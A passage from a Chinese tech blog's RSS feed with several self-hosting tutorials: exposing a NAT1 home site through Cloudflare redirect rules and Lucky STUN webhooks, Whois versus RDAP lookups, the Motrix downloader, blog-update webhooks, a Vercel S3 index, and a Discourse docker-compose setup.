&lt;p&gt;&lt;a href=&quot;https://www.trae.ai&quot;&gt;Trae（国际版）&lt;/a&gt;：AI IDE。由字节跳动开发，需要国外IP。新用户Pro计划开通首月仅需3USD/m（之后为10USD/m），支持支付宝和海外卡支付。本人目前在用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/40b76f69-2c50-49d0-b861-05f8879accab.BRBOfh8k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;写任何项目都完全不推荐使用网页版的任何大模型编写！请使用AI IDE！&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>NAT1开放内网网站</title><link>https://2x.nz/posts/nat1-web/</link><guid isPermaLink="true">https://2x.nz/posts/nat1-web/</guid><description>利用CF动态重定向透过STUN+Lucky WebHook实时更新STUN端口实现NAT1家宽建站</description><pubDate>Fri, 30 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配套视频&lt;/h1&gt;
&lt;p&gt;&amp;lt;iframe src=&quot;//player.bilibili.com/player.html?isOutside=true&amp;amp;aid=114597528936170&amp;amp;bvid=BV1hY7szUEbu&amp;amp;cid=30235755189&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/7c517b72-8287-4707-8dff-12690a71d592.DUemUOrh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h3&gt;创建必要的Cloudflare API令牌&lt;/h3&gt;
&lt;p&gt;创建拥有如下图权限的令牌，使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/890468f0-7e7f-42b9-ba57-f98e3b964626.DD7ycc6I.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建基底Cloudflare动态重定向规则&lt;/h3&gt;
&lt;p&gt;如图填写，替换为你的域名
&lt;img src=&quot;https://2x.nz/_astro/9c4a1cb0-d1c6-4e9b-b2bb-dfd6b6fe6306.CJPV10vF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;表达式： &lt;code&gt;wildcard_replace(http.request.full_uri, &quot;*://*.072103.xyz/*&quot;, &quot;https://${2}.stun.072103.xyz:6666/${3}&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;观察网址，记录下如下图的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/bdd05652-4676-418f-b8aa-1dfc5b3dfab1.XbsF8KPS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开开发者工具后，再保存，确保抓到这样的包，保存备用
&lt;img src=&quot;https://2x.nz/_astro/60e191a3-c4d8-40a2-b9b7-13af0fae38ab.B_WKP1X1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将 &lt;code&gt;dash.cloudflare.com/api&lt;/code&gt; 改为 &lt;code&gt;api.cloudflare.com/client&lt;/code&gt; 。将刚才获得的红框内的内容填写到 &lt;code&gt;rules&lt;/code&gt; 后面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b1a7a07c-7b4b-49ff-a152-938e30d93ee6.Dsr3MCPw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你不是第一次更新，可能会带有一个 &lt;code&gt;&quot;position&quot;:{&quot;index&quot;:1},&lt;/code&gt; 删除它，否则后面的WebHook将会出错。&lt;/p&gt;
&lt;p&gt;将我们硬编码的 &lt;code&gt;6666&lt;/code&gt; 端口改为Lucky STUN的变量 &lt;code&gt;#{port}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;最终我们记录了以下信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02

{&quot;description&quot;:&quot;stun&quot;,&quot;expression&quot;:&quot;(http.host wildcard \&quot;*.072103.xyz\&quot; and not http.host in {\&quot;pic.072103.xyz\&quot; \&quot;hpic.072103.xyz\&quot;})&quot;,&quot;action&quot;:&quot;redirect&quot;,&quot;action_parameters&quot;:{&quot;from_value&quot;:{&quot;status_code&quot;:301,&quot;preserve_query_string&quot;:true,&quot;target_url&quot;:{&quot;expression&quot;:&quot;wildcard_replace(http.request.full_uri, \&quot;*://*.072103.xyz/*\&quot;, \&quot;https://${2}.stun.072103.xyz:#{port}/${3}\&quot;)&quot;}}},&quot;enabled&quot;:true}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;让Cloudflare接管 *.072103.xyz 的流量&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/72dd5daa-a10f-4fa1-816f-8be18abc2587.Bgp0mtvS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky DDNS&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/bf6eafd3-3f7b-4a71-8c4f-c0bd34703eee.BSiXAb0E.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky SSL/TLS证书&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/80fc1bda-334d-4444-b063-2d3202de8296.CcoORdUK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky Web服务&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/8f64210e-2bb3-4014-96e7-3af577a722f0.DDduAFPu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky STUN&lt;/h3&gt;
&lt;p&gt;注：我这里使用了路由器的端口转发，将Lucky的16666（Web服务）端口转发到了路由器的17777端口。如果你不会端口转发，请&lt;strong&gt;不要启用&lt;/strong&gt; &lt;code&gt;不使用Lucky内置端口转发&lt;/code&gt; 并且&lt;strong&gt;目标端口&lt;/strong&gt;填写16666&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/88f5e404-271b-4d20-98c7-b7f39a9247b2.B_-m0nrq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置WebHook&lt;/h3&gt;
&lt;p&gt;如图配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/559bce4c-ed44-4523-a623-7058ef1082dc.D3H3i8wb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接口地址：你之前记录的 &lt;code&gt;https://api.cloudflare.com/...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;请求方法： &lt;code&gt;PATCH&lt;/code&gt; 或者 &lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;请求头：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Authorization: Bearer 你的API令牌
Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求体：你之前记录的 &lt;code&gt;{&quot;description&quot;:...&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;End.&lt;/h1&gt;
</content:encoded></item><item><title>关于Whois查询那点事</title><link>https://2x.nz/posts/whois/</link><guid isPermaLink="true">https://2x.nz/posts/whois/</guid><description>你有没想过自己部署一个第三方的Whois查询服务？我做过，这里面全是坑！</description><pubDate>Tue, 27 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;Whois查询是什么？&lt;/h3&gt;
&lt;p&gt;如果了解域名，就知道域名一旦被注册就会在Whois服务器留下一些相关信息（比如：注册方，注册地，注册时间等等），可以被公开查询。&lt;/p&gt;
&lt;h3&gt;如何快速查询一个域名的Whois？&lt;/h3&gt;
&lt;p&gt;你是否用过某些Whois查询网站？如图为IP.SB的WHOIS查询服务，可以通过 &lt;a href=&quot;https://ip.sb/whois&quot;&gt;WHOIS - IP.SB&lt;/a&gt; 快速查询一个域名的Whois&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/578a2c58-5ad4-452a-be8b-a186a64fa058.64G0A_Ov.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正片&lt;/h1&gt;
&lt;p&gt;那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上，我们要怎么做呢？&lt;/p&gt;
&lt;p&gt;你也许已经知道在Linux系统上专门有一个包就叫做 &lt;code&gt;whois&lt;/code&gt; 我们可以方便用它来查询Whois。我们现在就可以试试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d198a5cf-37e0-410e-9f9b-df736725eb7b.CxxTRpVX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到，成功查询到了 &lt;code&gt;baidu.com&lt;/code&gt; 的Whois信息。但是实际上这个命令的输出有这么长&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3efb10bd-042a-4a22-82c9-e947d591e10d.Dqv9JAcf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是实际上，只有红色框内的信息对我们有效，其他的信息则是一些公告，警示，许可之类的无用信息&lt;/p&gt;
&lt;p&gt;这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难，但是对现代计算机来说非常难&lt;/p&gt;
&lt;p&gt;因为在&lt;strong&gt;传统的Whois查询&lt;/strong&gt;中，Whois服务器返回的信息没有任何规范，它想给你什么就能给你什么，如下图&lt;/p&gt;
&lt;p&gt;这是我的域名的Whois查询结果，可以看到，完全没有规范可言
&lt;img src=&quot;https://2x.nz/_astro/981f3e74-4e18-47e9-8e05-05ffca461e3c.B3VTizbL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更有甚者不仅改格式，甚至还改术语，比如Status写一个Connect&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/29f6f17b-a885-406d-ad70-45e3aacc95d9.C0-aScP6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范，需要针对每一个顶级域的Whois服务器做调查，然后针对性的配置过滤器，这样才能输出一个完整的，规范的Whois查询结果&lt;/p&gt;
&lt;p&gt;前文我提到了&lt;strong&gt;传统的Whois查询&lt;/strong&gt;，那么有没有一个API能直接提供一个规范了格式的查询结果，并且每个域名都遵循这个规范呢？&lt;/p&gt;
&lt;p&gt;有的，兄弟有的，这就是RDAP（Registration Data Access Protocol），注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出，并且查询是通过标准的RESTAPI，也就是Web协议，如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/7d92115f-f897-427a-b0a6-46d386019443.Btyti6ko.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;乍一看好多无用信息啊，但是你先别急，既然它返回的是JSON，而且所有域名都是一个规范，那么我们完全可以方便快捷的过滤&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/96760408-d94e-4ddb-854f-8e817a01fd8d.B9fbFGvk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就像这样，只需要写一遍过滤规则，以后所有&lt;strong&gt;支持RDAP查询Whois的顶级域&lt;/strong&gt;都可以通过这个规则快捷展示信息！&lt;/p&gt;
&lt;p&gt;但是话又说回来，RDAP毕竟是一个新式协议，很多顶级域仍然不支持，比如 &lt;code&gt;.im&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.iana.org/domains/root/db/im.html&quot;&gt;.im Domain Delegation Data&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/efa46528-43b5-45fb-88e6-5401dfade480.DRLSH78V.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到 &lt;code&gt;.im&lt;/code&gt; 仅支持传统Whois查询&lt;/p&gt;
&lt;p&gt;那么我们的三方API就要既支持传统Whois，又支持新式RDAP&lt;/p&gt;
&lt;h1&gt;正式开始构建三方Whois查询API&lt;/h1&gt;
&lt;p&gt;由于传统Whois查询是通过TCP请求43端口获取信息，需要专用客户端来查询，所以针对于&lt;strong&gt;只支持传统Whois查询的顶级域&lt;/strong&gt;就需要我们的服务器先查询到信息，再返回用户纯文本。如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/16ab7a68-892e-429e-a0bc-02d829eead82.CJ3znIMA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而对于&lt;strong&gt;已经支持RDAP查询的顶级域&lt;/strong&gt;，直接返回Web URL，让用户自行阅览，如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9b4916ef-d096-4954-a87c-abfc88c77d00.BoozYmqj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;另外，针对于&lt;strong&gt;仅支持RDAP查询的顶级域&lt;/strong&gt;，我们需要先通过IANA查询该顶级域的RDAP服务器（实际上传统Whois也需要，但是Linux的Whois包硬编码的Whois查询服务器目前够用 :）&lt;/p&gt;
&lt;p&gt;比如我要查询 &lt;code&gt;freebird.day&lt;/code&gt; ，就需要先前往&lt;a href=&quot;https://www.iana.org/domains/root/db/day.html&quot;&gt;.day Domain Delegation Data&lt;/a&gt;查找&lt;img src=&quot;https://2x.nz/_astro/7c7cb4ed-6b1a-4541-b176-ecc5783a3853.CSpcvMKn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来通过给定的RDAP服务器查询即可&lt;img src=&quot;https://2x.nz/_astro/3d8df636-39e5-48f7-a6c7-9490f373497e.W30z0gC6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为RDAP协议较新，且易读，所以针对于&lt;strong&gt;传统Whois和RDAP查询都支持的顶级域&lt;/strong&gt;优先RDAP查询&lt;/p&gt;
</content:encoded></item><item><title>浏览器自带下载慢？你需要一个第三方下载器 Motrix！</title><link>https://2x.nz/posts/motrix/</link><guid isPermaLink="true">https://2x.nz/posts/motrix/</guid><description>如果你觉得 Chromium 浏览器自带下载速度太慢，不妨试试免费开源、界面简洁且体验不错的第三方下载器 Motrix。</description><pubDate>Sun, 25 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;通过浏览器插件拦截下载请求，再将原始请求转发给 Motrix，就可以实现由 Motrix 接管下载。&lt;/p&gt;
&lt;h1&gt;下载 Motrix&lt;/h1&gt;
&lt;p&gt;前往官网：https://motrix.app/ 下载 Motrix。&lt;/p&gt;
&lt;p&gt;如果你连下载 Motrix 都觉得慢……&lt;s&gt;那就先忍一忍&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;安装完成后，大概就是这个样子：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/6a10d31c-0c39-456c-8402-ff3190a80dcc.Chr_wrOb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置 Motrix&lt;/h1&gt;
&lt;p&gt;打开 Motrix，进入 &lt;code&gt;进阶设置 -&amp;gt; RPC&lt;/code&gt;。你会看到 RPC 监听端口（默认为 &lt;code&gt;16800&lt;/code&gt;）和一个随机生成的 RPC 授权密钥。
&lt;img src=&quot;https://2x.nz/_astro/53e255cf-965f-441d-a47a-81e20f272256.0z2DWJrh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;记住监听端口，并复制好授权密钥（点击小眼睛后即可复制，旁边的骰子图标用于随机生成新密钥）。完成后点击“保存并应用”。&lt;/p&gt;
&lt;h1&gt;配置浏览器&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;仅支持 Chromium 系浏览器（如 Chrome 和新版 Microsoft Edge），Firefox 请另寻方案。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;浏览器扩展请选择：&lt;strong&gt;Aria2 Explorer&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;安装完成后，右键扩展图标，进入“扩展选项”，在这里填入 Motrix 的 RPC 配置。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0f4a510b-378a-45ab-a35f-88cfa53593e3.jszy4Aas.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，右键扩展并勾选“下载拦截”，然后再尝试下载文件。如果配置无误，浏览器中的下载请求会被 Aria2 Explorer 捕获并转发给 Motrix。此时你可以在 &lt;strong&gt;Aria2 Explorer&lt;/strong&gt; 和 &lt;strong&gt;Motrix&lt;/strong&gt; 中看到正在下载的文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/57fa7b18-541e-4115-a160-cd742735e298.DEhJaw40.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用WebHook来为你的订阅者推送文章更新信息</title><link>https://2x.nz/posts/github-webhook/</link><guid isPermaLink="true">https://2x.nz/posts/github-webhook/</guid><description>针对于静态博客，博主在文章更新后一般需要手动通知订阅者阅读新的文章，本文通过WebHook来实现一个全自动的文章更新通知</description><pubDate>Sun, 18 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理解析&lt;/h1&gt;
&lt;p&gt;静态博客一般会托管在Github来方便静态网站构建服务提供商进行自动构建和发布站点。&lt;/p&gt;
&lt;p&gt;我们可以通过 WebHook 在文章更新后自动通知订阅者。但单一 WebHook 有各自的缺陷：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;WebHook 类型&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Github WebHook&lt;/td&gt;
&lt;td&gt;能检测文件变动，知道哪些文章更新了&lt;/td&gt;
&lt;td&gt;不知道构建时长，需要设置保守延迟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netlify WebHook&lt;/td&gt;
&lt;td&gt;构建完成后通知，时机精准&lt;/td&gt;
&lt;td&gt;不能检测文件变动&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;最佳方案是 &lt;strong&gt;两者结合使用&lt;/strong&gt;，工作流为：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Push&lt;/strong&gt; → &lt;strong&gt;Github WebHook 通知Bot（记录变动文章）&lt;/strong&gt; → &lt;strong&gt;Netlify WebHook 通知构建完成&lt;/strong&gt; → &lt;strong&gt;Bot 即刻推送文章更新消息&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;设置你的自托管WebHook接收器&lt;/h2&gt;
&lt;p&gt;我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook，并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/53b434e4-cf0e-4cfc-a688-054d13f1c01a.CElMP4ug.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的服务在内网，可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务&lt;/p&gt;
&lt;h2&gt;配置Github Repo WebHook&lt;/h2&gt;
&lt;p&gt;打开你的博客仓库，在仓库设置找到WebHooks&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e899ddd6-9b3e-4d0a-848b-7f9b43d2004e.CkCcFBbx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加一个新的WebHook，如图设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/7fa35782-2d3c-4d18-afca-cb7db8ee36fc.Banku2aC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;配置Netlify WebHook&lt;/h2&gt;
&lt;p&gt;如果你的站点部署在 Netlify，可以进一步配置构建完成通知。&lt;/p&gt;
&lt;p&gt;添加HTTP POST钩子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-23-15-10-image.qEP11Qxd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个部署成功钩子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-23-15-40-image.y7S5wrVM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Bot端配置&lt;/h2&gt;
&lt;p&gt;设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-23-36-50-5ec10aad91b98d8d36699c7956c705f0.DD19dMYZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-23-39-27-cfc2d6a91a07455adbcee0c491143640.CtSgEmGt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-23-57-02-image.BB46Ja-e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;开发测试&lt;/h2&gt;
&lt;p&gt;在你的博客仓库进行一次Push操作，检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作&lt;/p&gt;
</content:encoded></item><item><title>让Vercel对接你的S3对象存储（仅下载）</title><link>https://2x.nz/posts/s3cloudrive/</link><guid isPermaLink="true">https://2x.nz/posts/s3cloudrive/</guid><description>可能很多小伙伴都使用过对象存储，但是他们大部分都没一个图形界面，虽然近年来有了AList这么一个非常全能的服务，但是仍然需要独立服务器，本篇将使用Vercel Function搭建一个精美的S3文件下载</description><pubDate>Sun, 04 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频教程（推荐）： https://www.bilibili.com/video/BV17b5gz5Ea4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;使用方法非常简单，进入GitHub仓库：&lt;a href=&quot;https://github.com/afoim/S3cloudrive-index&quot;&gt;GitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;按照README部署即可&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;采用Vercel Function登录S3，获取文件列表传递给前端拼接URL显示，原项目是对接的OneDrive：&lt;a href=&quot;https://github.com/iRedScarf/onedrive-index&quot;&gt;iRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.&lt;/a&gt;。本项目仅更改了后端对接的存储类型，理论上你可以三改后对接任意存储...&lt;/p&gt;
&lt;p&gt;&lt;s&gt;本人想对接天翼云盘PC的驱动，但是登录鉴权一直不会做，有没有人来帮帮我（）&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你部署Discourse</title><link>https://2x.nz/posts/discourse/</link><guid isPermaLink="true">https://2x.nz/posts/discourse/</guid><description>Discourse是一个开源的强大的论坛系统，让你马上就能拥有自己的BBS</description><pubDate>Thu, 01 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;确保你安装了 &lt;code&gt;Docker&lt;/code&gt; 和 &lt;code&gt;Docker-Compose&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选一个目录创建 &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;写入内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
  postgresql:
    image: docker.io/bitnami/postgresql:11
    volumes:
      - &apos;postgresql_data:/bitnami/postgresql&apos;
    environment:
      - POSTGRESQL_POSTGRES_PASSWORD=admin12345
      - POSTGRESQL_USERNAME=ex_discourse
      - POSTGRESQL_PASSWORD=user12345
      - POSTGRESQL_DATABASE=example_discourse
  redis:
    image: docker.io/bitnami/redis:6.0
    environment:
      - REDIS_PASSWORD=redis12345
    volumes:
      - &apos;redis_data:/bitnami/redis&apos;
  discourse:
    image: docker.io/bitnami/discourse:2
    ports:
      - &apos;127.0.0.1:880:3000&apos;
    volumes:
      - &apos;discourse_data:/bitnami/discourse&apos;
    depends_on:
      - postgresql
      - redis
    environment:
      # 用户和站点配置
      - DISCOURSE_HOST=example.com
      - DISCOURSE_USERNAME=siteadmin
      - DISCOURSE_PASSWORD=siteadmin12345
      - DISCOURSE_EMAIL=siteadmin@gmail.com
      # 数据库连接配置
      - DISCOURSE_DATABASE_HOST=postgresql
      - DISCOURSE_DATABASE_PORT_NUMBER=5432
      - DISCOURSE_DATABASE_USER=ex_discourse
      - DISCOURSE_DATABASE_PASSWORD=user12345
      - DISCOURSE_DATABASE_NAME=example_discourse
      # Redis 连接配置
      - DISCOURSE_REDIS_HOST=redis
      - DISCOURSE_REDIS_PORT_NUMBER=6379
      - DISCOURSE_REDIS_PASSWORD=redis12345
      # 使用 postgresql-client 为 Discourse 创建数据库
      - POSTGRESQL_CLIENT_POSTGRES_USER=postgres
      - POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345
      - POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse
      - POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm
      # SMTP
      - DISCOURSE_SMTP_HOST=smtp.mailgun.org
      - DISCOURSE_SMTP_PORT=587
      - DISCOURSE_SMTP_USER=邮箱用户名
      - DISCOURSE_SMTP_PASSWORD=邮箱密码
      - DISCOURSE_SMTP_PROTOCOL=tls或ssl
      - DISCOURSE_SMTP_AUTH=login
  sidekiq:
    image: docker.io/bitnami/discourse:2
    depends_on:
      - discourse
    volumes:
      - &apos;sidekiq_data:/bitnami/discourse&apos;
    command: /opt/bitnami/scripts/discourse-sidekiq/run.sh
    environment:
      # 用户和站点配置
      - DISCOURSE_HOST=example.com
      - DISCOURSE_USERNAME=siteadmin
      - DISCOURSE_PASSWORD=siteadmin12345
      - DISCOURSE_EMAIL=siteadmin@gmail.com
      # 数据库连接配置
      - DISCOURSE_DATABASE_HOST=postgresql
      - DISCOURSE_DATABASE_PORT_NUMBER=5432
      - DISCOURSE_DATABASE_USER=ex_discourse
      - DISCOURSE_DATABASE_PASSWORD=user12345
      - DISCOURSE_DATABASE_NAME=example_discourse
      # Redis 连接配置
      - DISCOURSE_REDIS_HOST=redis
      - DISCOURSE_REDIS_PORT_NUMBER=6379
      - DISCOURSE_REDIS_PASSWORD=redis12345
      # SMTP
      - DISCOURSE_SMTP_HOST=smtp.mailgun.org
      - DISCOURSE_SMTP_PORT=587
      - DISCOURSE_SMTP_USER=邮箱用户名
      - DISCOURSE_SMTP_PASSWORD=邮箱密码
      - DISCOURSE_SMTP_PROTOCOL=tls或ssl
      - DISCOURSE_SMTP_AUTH=login
volumes:
  postgresql_data:
    driver: local
  redis_data:
    driver: local
  discourse_data:
    driver: local
  sidekiq_data:
    driver: local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要修改的部分。配置文件中两份都要改&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;需替换值&lt;/th&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;admin12345&lt;/td&gt;
&lt;td&gt;数据库管理员密码（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ex_discourse&lt;/td&gt;
&lt;td&gt;数据库用户名（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;user12345&lt;/td&gt;
&lt;td&gt;数据库用户密码（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;example_discourse&lt;/td&gt;
&lt;td&gt;数据库名（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;redis12345&lt;/td&gt;
&lt;td&gt;Redis 密码（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;127.0.0.1:880&lt;/td&gt;
&lt;td&gt;映射端口（可选）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;example.com&lt;/td&gt;
&lt;td&gt;网站IP或域名(不加HTTP)（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin&lt;/td&gt;
